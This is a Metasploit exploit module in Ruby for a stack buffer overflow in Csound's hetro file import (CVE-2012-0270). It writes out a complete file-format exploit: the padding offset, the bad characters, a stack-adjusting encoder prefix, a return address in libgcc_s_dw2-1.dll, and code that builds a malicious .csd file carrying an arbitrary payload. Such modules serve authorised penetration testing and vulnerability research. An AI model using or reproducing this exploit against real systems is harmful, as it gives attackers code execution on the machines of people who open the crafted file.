##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Csound hetro File Handling Stack Buffer Overflow',
      'Description' => %q{
          This module exploits a buffer overflow in Csound before 5.16.6.
        The overflow occurs when trying to import a malicious hetro file
        from tabular format.
        In order to achieve exploitation the user should import the malicious
        file through csound with a command like "csound -U het_import msf.csd file.het".
        This exploit doesn't work if the "het_import" command is used directly
        to convert the file.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Secunia', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References' =>
        [
          [ 'CVE', '2012-0270' ],
          [ 'OSVDB', '79491' ],
          [ 'BID', '52144' ],
          [ 'URL', 'http://web.archive.org/web/20120514124556/http://secunia.com/secunia_research/2012-3/' ],
          [ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']
        ],
      'Payload' =>
        {
          'Space' => 650,
          'BadChars' => "\x00\x0a\x1a\x2c\xff",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
          'DisableNops' => 'True'
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',
            {
              'Offset' => 132,
              'Ret' => 0x6e955446 # push esp #  ret / libgcc_s_dw2-1.dll
            }
          ],
        ],
      'Privileged' => false,
      'DefaultTarget' => 0,
      'DisclosureDate' => '2012-02-23'))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),
      ])
  end

  def exploit
    sploit = rand_text(target['Offset'])
    sploit << [target.ret].pack("V")
    sploit << payload.encoded
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
  end
end
